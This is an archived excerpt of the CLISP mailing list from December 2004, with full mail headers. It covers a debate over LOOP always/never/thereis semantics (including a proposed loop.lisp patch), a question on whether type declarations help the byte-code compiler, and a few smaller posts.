sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CZtXM-0003Tm-NQ for clisp-list@lists.sourceforge.net; Thu, 02 Dec 2004 08:10:34 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id iB2GA6B9026188; Thu, 2 Dec 2004 11:10:07 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A030264CC62@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Thu, 2 Dec 2004 12:50:37 +0100") References: <5F9130612D07074EB0A0CE7E69FD7A030264CC62@S4DE8PSAAGS.blf.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" , Bruno Haible Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Re: loop ambiguous result or just not conforming? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 2 08:11:04 2004 X-Original-Date: Thu, 02 Dec 2004 11:10:06 -0500 > * Hoehle, Joerg-Cyril [2004-12-02 12:50:37 +0100]: > > I believe ALWAYS/NEVER/THEREIS clauses can be used together wit other ones. > > CLHS says "The never construct terminates iteration the first time > that the value of the supplied form is non-nil; the loop returns > nil. If the value of the supplied form is always nil, some other > construct can terminate the iteration. Unless some other clause > contributes a return value, the default value returned is t." > > Note "default value" and "other construct can terminate the iteration" > > Now consider CLISP's behaviour > (loop for i in '(1 2 3) never (symbolp i) collect i) > *** - LOOP: ambiguous result of loop (LOOP FOR I IN '(1 2 3) NEVER (SYMBOLP I) > COLLECT I) > I'd expect this to return (1 2 3) > and > (loop for i in '(1 2 a 3) never (symbolp i) collect i) > to return NIL > > because COLLECT is just that other clause which contributes a return value. > > I believe the only ambiguous case is when ALWAYS or THEREIS are used >with NEVER alone, because their defaults conflict. there is a thread on c.l.l on this: http://groups-beta.google.com/group/comp.lang.lisp/browse_frm/thread/df090483c0b8b58e/ba3d05cc52eef601?tvc=1&q=group:comp.lang.lisp+loop+thereis&_done=%2Fgroups%3Fq%3Dgroup:comp.lang.lisp+loop+thereis+%26qt_s%3DSearch+Groups%26&_doneTitle=Back+to+Search&scrollSave=&&d#ba3d05cc52eef601 here is a patch which relaxes the restrictions you dislike: default return values are collected separately from the normal values and multiple defaults result in a warning, not an error. please test it and report your experiences here. -- Sam Steingold (http://www.podval.org/~sds) running w2k Someone has changed your life. Save? (y/n) From sds@gnu.org Thu Dec 02 08:18:08 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CZteh-0007Wm-Pt for clisp-list@lists.sourceforge.net; Thu, 02 Dec 2004 08:18:07 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CZteg-0004ub-KV for clisp-list@lists.sourceforge.net; Thu, 02 Dec 2004 08:18:07 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id iB2GHNB9029602; Thu, 2 Dec 2004 11:17:24 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A030264CC62@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Thu, 2 Dec 2004 12:50:37 +0100") References: <5F9130612D07074EB0A0CE7E69FD7A030264CC62@S4DE8PSAAGS.blf.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" , Bruno Haible User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 AWL AWL: Auto-whitelist adjustment Subject: [clisp-list] Re: loop ambiguous result or just not conforming? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 2 08:19:02 2004 X-Original-Date: Thu, 02 Dec 2004 11:17:23 -0500 > * Hoehle, Joerg-Cyril [2004-12-02 12:5= 0:37 +0100]: > > I believe ALWAYS/NEVER/THEREIS clauses can be used together wit other one= s. > > CLHS says "The never construct terminates iteration the first time > that the value of the supplied form is non-nil; the loop returns > nil. If the value of the supplied form is always nil, some other > construct can terminate the iteration. Unless some other clause > contributes a return value, the default value returned is t." > > Note "default value" and "other construct can terminate the iteration" > > Now consider CLISP's behaviour > (loop for i in '(1 2 3) never (symbolp i) collect i) > *** - LOOP: ambiguous result of loop (LOOP FOR I IN '(1 2 3) NEVER (SYMBO= LP I) > COLLECT I) > I'd expect this to return (1 2 3) > and > (loop for i in '(1 2 a 3) never (symbolp i) collect i) > to return NIL > > because COLLECT is just that other clause which contributes a return valu= e. > > I believe the only ambiguous case is when ALWAYS or THEREIS are used >with NEVER alone, because their defaults conflict. there is a thread on c.l.l on this: http://groups-beta.google.com/group/comp.lang.lisp/browse_frm/thread/df0904= 83c0b8b58e/ba3d05cc52eef601?tvc=3D1&q=3Dgroup:comp.lang.lisp+loop+thereis&_= done=3D%2Fgroups%3Fq%3Dgroup:comp.lang.lisp+loop+thereis+%26qt_s%3DSearch+G= roups%26&_doneTitle=3DBack+to+Search&scrollSave=3D&&d#ba3d05cc52eef601 here is a patch which relaxes the restrictions you dislike: default return values are collected separately from the normal values and multiple defaults result in a warning, not an error. please test it and report your experiences here. --=20 Sam Steingold (http://www.podval.org/~sds) running w2k Someone has changed your life. Save? (y/n) --- loop.lisp 29 Oct 2004 11:52:48 -0400 1.37 +++ loop.lisp 02 Dec 2004 11:08:44 -0500=09 @@ -214,6 +214,13 @@ ;; Flag whether this variable is used. (defvar *used-it*) =20 +(defun loop-new-result (form clause results) + (let ((pair (assoc form results :test #'equal))) + (if pair + (push clause (cdr pair)) + (push (list form clause) results)) + results)) + ;; The bulk of the expander. (defun expand-loop (*whole* body) (let ((body-rest body) ; alle Parse-Funktionen verk=C3=BCrzen body-rest @@ -247,6 +254,7 @@ ((NCONC NCONCING APPEND APPENDING) (unless (eq (loop-keywordp (caddr rest)) 'INTO) (return nil)))))) + (defaults nil) ; alist (value-form . (clause list)) (results nil)) ; alist (value-form . (clause list)) (labels ((next-kw () ; Schaut, ob als n=C3=A4chstes ein Keyword kommt. @@ -295,11 +303,9 @@ *whole* var clause bad)) (setf (gethash var accu-table) (cons clause others)))) (new-result (form clause) - (let ((pair (assoc form results :test #'equal))) - (if pair - (push clause (cdr pair)) - (push (list form clause) results)) - results)) + (setq results (loop-new-result form clause results))) + (new-default (form clause) + (setq defaults (loop-new-result form clause defaults))) (acculist-var (keyword form) (or acculist-var (progn (setq acculist-var (gensym "ACCULIST-VAR-")) @@ -576,14 +582,14 @@ (WHILE `(UNLESS ,form (LOOP-FINISH))) (UNTIL `(WHEN ,form (LOOP-FINISH))) (ALWAYS - (new-result 'T (list kw form)) + (new-default 'T (list kw form)) `(UNLESS ,form (RETURN-FROM ,block-name 'NIL)= )) (NEVER - (new-result 'T (list kw form)) + (new-default 'T (list kw form)) `(WHEN ,form (RETURN-FROM ,block-name 'NIL))) (THEREIS (let ((dummy (gensym))) - (new-result 'NIL (list kw form)) + (new-default 'NIL (list kw form)) `(BLOCK ,dummy (RETURN-FROM ,block-name (OR ,form (RETURN-FROM ,dummy NIL)))))= )) @@ -982,13 +988,18 @@ (TEXT "~S: illegal syntax near ~S in ~S") 'loop (first body-rest) *whole*))))))) ; Noch einige semantische Tests: - (when (> (length results) 1) + (when (cdr results) ; more than 1 result (error-of-type 'source-program-error :form *whole* :detail *whole* - (TEXT "~S: ambiguous result:~:{~%~S from ~@{~{~A ~S~}~^, ~}~}") + (TEXT "~S: ambiguous result:~:{~%=3D ~S from ~@{~{~A ~S~}~^, ~}~= }") *whole* results)) - (unless (null results) - (push `(RETURN-FROM ,block-name ,(caar results)) finally-code)) + (when (and (null results) (cdr defaults)) ; more than 1 default + (warn (TEXT "~S: ambiguous default return value:~:{~%=3D ~S from ~= @{~{~A ~S~}~^, ~}~}~%the first one will be used") + *whole* defaults)) + (if results + (push `(RETURN-FROM ,block-name ,(caar results)) finally-code) + (when defaults + (push `(RETURN-FROM ,block-name ,(caar defaults)) finally-code= ))) ; Initialisierungen abarbeiten und optimieren: (let ((initializations1 (unless (zerop (length *helpvars*)) From mm3@zepler.net Fri Dec 03 08:45:48 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CaGZ2-0003pY-8l for clisp-list@lists.sourceforge.net; Fri, 03 Dec 2004 08:45:48 -0800 Received: from raven.ecs.soton.ac.uk ([152.78.70.1]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CaGZ0-0008Bb-E7 for clisp-list@lists.sourceforge.net; Fri, 03 Dec 2004 08:45:48 -0800 Received: from magpie.ecs.soton.ac.uk (magpie.ecs.soton.ac.uk [152.78.68.131]) by raven.ecs.soton.ac.uk (8.12.10/8.12.10) with ESMTP id iB3Gjhi3022867 for ; Fri, 3 Dec 2004 16:45:43 GMT Received: from login.ecs.soton.ac.uk (IDENT:root@login [152.78.68.162]) by magpie.ecs.soton.ac.uk (8.9.3/8.9.3) with ESMTP id QAA12426 for ; Fri, 3 Dec 2004 16:45:39 GMT Received: (from mm3@localhost) by login.ecs.soton.ac.uk (8.11.6/8.11.6) id iB3Gjdh20931 for clisp-list@lists.sourceforge.net; Fri, 3 Dec 2004 16:45:39 GMT X-Authentication-Warning: login.ecs.soton.ac.uk: mm3 set sender to mm3@zepler.net using -f From: Marcin Tustin To: clisp-list@lists.sourceforge.net Message-ID: <20041203164539.GE9774@login.ecs.soton.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4i X-MailScanner-Information: Please contact helpdesk@ecs.soton.ac.uk for more information X-ECS-MailScanner: Found to be clean X-MailScanner-From: mm3@zepler.net X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Type declaration and optimization Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 3 08:46:08 2004 X-Original-Date: Fri, 3 Dec 2004 16:45:39 +0000 Do type declarations help CLISP optimize code? How good is its type inferencing? From pjb@informatimago.com Fri Dec 03 09:54:14 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CaHdG-0000rm-2Q for clisp-list@lists.sourceforge.net; Fri, 03 Dec 2004 09:54:14 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CaHdE-0002Rs-7p for clisp-list@lists.sourceforge.net; Fri, 03 Dec 2004 09:54:13 -0800 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id ED698586E3; Fri, 3 Dec 2004 18:54:20 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 3D47E4F8A; Fri, 3 Dec 2004 18:54:20 +0100 (CET) Message-ID: <16816.43084.218753.905873@thalassa.informatimago.com> To: Marcin Tustin Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] Type declaration and optimization In-Reply-To: <20041203164539.GE9774@login.ecs.soton.ac.uk> References: <20041203164539.GE9774@login.ecs.soton.ac.uk> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: fr, es, en X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 3 09:55:00 2004 X-Original-Date: Fri, 3 Dec 2004 18:54:20 +0100 Marcin Tustin writes: > Do type declarations help CLISP optimize code? How good is its > type inferencing? [283]> (defun f (x) (let ((y 0)) (dotimes (i x) (incf y i)) y)) F [286]> (disassemble (compile 'f)) Disassembly of function F (CONST 0) = 0 1 required argument 0 optional arguments No rest parameter No keyword parameters 15 byte-code instructions: 0 (CONST&PUSH 0) ; 0 1 (CONST&PUSH 0) ; 0 2 (JMP L12) 4 L4 4 (LOAD&PUSH 1) 5 (LOAD&PUSH 1) 6 (CALLSR&STORE 2 53 1) ; + 10 (LOAD&INC&STORE 0) 12 L12 12 (LOAD&PUSH 0) 13 (LOAD&PUSH 4) 14 (CALLSR&JMPIFNOT 1 50 L4) ; >= 18 (SKIP 1) 20 (POP) 21 (SKIP&RET 2) NIL [287]> [289]> (defun f (x) (declare (type (integer 0 255) x)) (let ((y 0)) (declare (type (integer 0 65536) y)) (dotimes (i x) (declare (type (integer 0 255) i)) (incf (the (integer 0 65536) y) (the (integer 0 255) i))) (the (integer 0 65536) y))) F [290]> (disassemble (compile 'f)) Disassembly of function F (CONST 0) = 0 1 required argument 0 optional arguments No rest parameter No keyword parameters 18 byte-code instructions: 0 (CONST&PUSH 0) ; 0 1 (CONST&PUSH 0) ; 0 2 (JMP L15) 4 L4 4 (LOAD&PUSH 1) 5 (LOAD&PUSH 1) 6 (CALLSR&PUSH 2 53) ; + 9 (LOAD 0) 10 (STORE 2) 11 (SKIP 1) 13 (LOAD&INC&STORE 0) 15 L15 15 (LOAD&PUSH 0) 16 (LOAD&PUSH 4) 17 (CALLSR&JMPIFNOT 1 50 L4) ; >= 21 (SKIP 1) 23 (POP) 24 (SKIP&RET 2) NIL [291]> Conclusion: not really not... (Luke, use the sources: clisp-2.33.2/src/compiler.lisp !) At least, it's not damaging to put declarations :-) -- __Pascal Bourguignon__ http://www.informatimago.com/ The world will now reboot; don't bother saving your artefacts. From lin8080@freenet.de Sat Dec 04 16:31:16 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CakJ2-0000uk-H9 for clisp-list@lists.sourceforge.net; Sat, 04 Dec 2004 16:31:16 -0800 Received: from mout2.freenet.de ([194.97.50.155]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1CakJ1-0007Zi-OS for clisp-list@lists.sourceforge.net; Sat, 04 Dec 2004 16:31:16 -0800 Received: from [194.97.50.135] (helo=mx2.freenet.de) by mout2.freenet.de with esmtpa (Exim 4.43) id 1CakHV-0005Tf-3k for clisp-list@lists.sourceforge.net; Sun, 05 Dec 2004 01:29:41 +0100 Received: from be7b8.b.pppool.de ([213.7.231.184] helo=freenet.de) by mx2.freenet.de with esmtpsa (ID lin8080@freenet.de) (SSLv3:RC4-MD5:128) (Exim 4.43 #13) id 1CakHU-00056z-9n for clisp-list@lists.sourceforge.net; Sun, 05 Dec 2004 01:29:41 +0100 Message-ID: <41B248E1.951B2ED0@freenet.de> From: lin8080 X-Mailer: Mozilla 4.73 [de]C-CCK-MCD QXW03244 (Win98; U) X-Accept-Language: de,en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: -3.9 (---) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FROM_ENDS_IN_NUMS From: ends in numbers -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] reporting details Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Dec 4 16:32:00 2004 X-Original-Date: Sun, 05 Dec 2004 00:31:45 +0100 Hallo While walking through /src and playing around I found: [19]> (lisp-implementation-version) "2.31 (released 2003-09-01) (built on lin [127.0.0.1])" ............................ (Look at the last line) [65]> (describe 'cons) CONS is the symbol CONS, lies in # packages CLOS, COMMON-LISP, COMMON-LISP-USER, EXT, FFI, a function, names a type, names a class, has 4 properti SYSTEM::INSTRUCTION, SYSTEM::TYPE-LIST, SYSTEM::TYPE-SY For more information, evaluate (SYMBOL-PLIST 'CONS). # is the package named COMMON-LIS LISP, CL. It imports the external symbols of 1 package CLOS and 6 packages FFI, SCREEN, CLOS, COMMON-LISP-USER, EXT, S # is a built-in system function. Argument list: (ARG0 ARG1). Documentation: SYSTEM::FILE: #P"D:\\gnu\\clisp\\sf\\clisp\\build-O-mingw\\clos.fas" Is this correct? I run on a Win98 Box, the "D:\..." is CD-ROM ................................. found in compiler.lisp: ;; The instruction list is in . In C:\cl231\doc there is no such file. Download the clisp__1.zip from sorgeforce with 3.462.409 bytes (win32 version). .................................. be continued bye From mmdf@raisinbran.srv.cs.cmu.edu Sun Dec 05 20:10:54 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CbAD6-0000nJ-Sc for clisp-list@lists.sourceforge.net; Sun, 05 Dec 2004 20:10:52 -0800 Received: from raisinbran.srv.cs.cmu.edu ([128.2.194.191]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.41) id 1CbAD6-0002TB-Dy for clisp-list@lists.sourceforge.net; Sun, 05 Dec 2004 20:10:52 -0800 From: Mail System (MMDF) raisinbran.srv.cs To: clisp-list@lists.sourceforge.net Message-ID: X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Ambiguous address warning Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 5 20:11:06 2004 X-Original-Date: Sun, 5 Dec 2004 23:10:28 EST Mail addressed to "john@cs.cmu.edu" was ambiguous, but was delivered to John_G_Dorsey (john) The name "john" also matched the following users Full name (login name) Andrew_John (aj14) Bonnie_John (bej) To avoid this warning message in the future, address the mail as "John_G_Dorsey@cs.cmu.edu" From Joerg-Cyril.Hoehle@t-systems.com Mon Dec 06 07:29:15 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CbKnb-0007wT-2F for clisp-list@lists.sourceforge.net; Mon, 06 Dec 2004 07:29:15 -0800 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CbKnZ-000216-Uq for clisp-list@lists.sourceforge.net; Mon, 06 Dec 2004 07:29:14 -0800 Received: from g8pbq.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP; Mon, 6 Dec 2004 16:28:43 +0100 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 6 Dec 2004 16:28:58 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0302819309@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: bruno@clisp.org MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Re: loop ambiguous result or just not conforming? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 6 07:30:00 2004 X-Original-Date: Mon, 6 Dec 2004 16:28:55 +0100 Hi, I'm sorry. I just realized that CLHS explicitly disallows never+collect. It says in ?6.1.4 "Using always, never, or thereis in a loop with value accumulation clauses that are not into causes an error of type program-error to be signaled (at macro expansion time)." Therefore, Sam's patch must be rejected. Instead, my never+collect example should even be turned into a failure test (i.e. the testsuite should contain a case to check that (typep (nth-value (eval'(loop never+thereis))) 'program-error)). Now, 1. given that there cannot be a value from an accumulation overiding a default from thereis/always/never, and 2. given that always/never is quite limited because it cannot appear outside the main clause (e.g. when (plusp x) always (integerp x) is not covered by the BNF), I'm left to wonder what the CLHS wants to say when it talks about the clause "supplies a default value of t/nil": when does this apply? Since value accumulation clauses are disallowed, what can "some other clause [which] contributes a return value" be in CLHS? Sam Steingold wrote: >there is a thread on c.l.l on this: >http://groups-beta.google.com/group/comp.lang.lisp/browse_frm/t hread/df090483c0b8b58e/ba3d05cc52eef601?tvc=1&q=group:comp.lang.lisp+loop+thereis&_done=%2Fgroups%3Fq%3Dgroup:comp.lang.lisp+loop+thereis+%26qt_s%3DSearch+Groups%26&_doneTitle=Back+to+Search&scrollSave=&&d#ba3d05cc52eef601 Pascal Bourguignon wrote: "The error is in clisp implementation of loop where a default result is computed at the beginning of the loop, instead of waiting the terminating conditions to determine default values." Although I can't find anything in the CLHS supporting Pascal Bourguignon's opinion and evaluation model (last always/thereis/until evaluated yields default), at least it has the advantage that + it assigns meaning to a form which otherwise has none (never+thereis) + it is deterministic (all proposed models share this property :-) However - defaults are constantly changed within the loop, possibly leading to surprising results (loop repeat 3 while nil always t) -> nil with Pascal, since always is never reached. -> t in current CLISP (always clause => t default) (loop for i in '() always (plusp i) do (foo i)) would yield nil, which, from a mathematical point of view, is quite odd IMHO. (and I see a relationship to (AND) => t, not nil) A possibly not too contrived example which would benefit from lifting a contradiction between always/never and thereis might be as follows: (loop for x in '(-3 2 0 2.5) always (numberp x) when (plusp x) collect x into y thereis (foo x) finally (return y)) which can return either nil, (foo x) or a list of positive numbers... Regards, Jorg Hohle. From bruno@clisp.org Mon Dec 06 08:34:44 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CbLoy-0004Ra-19 for clisp-list@lists.sourceforge.net; Mon, 06 Dec 2004 08:34:44 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CbLov-0004Fk-8M for clisp-list@lists.sourceforge.net; Mon, 06 Dec 2004 08:34:43 -0800 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.13.1/8.13.0) with ESMTP id iB6GYXMP027206; Mon, 6 Dec 2004 17:34:33 +0100 (MET) Received: from skymaple.ilog.fr ([172.16.15.122]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id iB6GYRKO025833; Mon, 6 Dec 2004 17:34:27 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by skymaple.ilog.fr (Postfix) with ESMTP id 1EC461BB55; Mon, 6 Dec 2004 16:33:31 +0000 (UTC) From: Bruno Haible To: "Hoehle, Joerg-Cyril" , clisp-list@lists.sourceforge.net User-Agent: KMail/1.5 References: <5F9130612D07074EB0A0CE7E69FD7A0302819309@S4DE8PSAAGS.blf.telekom.de> In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0302819309@S4DE8PSAAGS.blf.telekom.de> MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Message-Id: <200412061733.29990.bruno@clisp.org> X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Re: loop ambiguous result or just not conforming? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 6 08:35:06 2004 X-Original-Date: Mon, 6 Dec 2004 17:33:29 +0100 J=C3=B6rg-Cyril H=C3=B6hle wrote: > at least it has the advantage that it assigns meaning to a form > which otherwise has none (never+thereis) I don't think this is an advantage. Especially in the LOOP area, other implementations are known to assign meanings to ambiguous forms. When a user runs in clisp a program with was developed with another implementation, it is better to give an error (or at least a warning) for ambiguous forms, rather than returning a different result than the other implementation and letting the user wonder why his program misbehaves. Bruno From pjb@informatimago.com Mon Dec 06 10:13:59 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CbNN1-0004Ao-HV for clisp-list@lists.sourceforge.net; Mon, 06 Dec 2004 10:13:59 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CbNN0-00047H-8e for clisp-list@lists.sourceforge.net; Mon, 06 Dec 2004 10:13:59 -0800 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 90F56586E5; Mon, 6 Dec 2004 19:13:59 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 6D9104F8E; Mon, 6 Dec 2004 19:13:59 +0100 (CET) Message-ID: 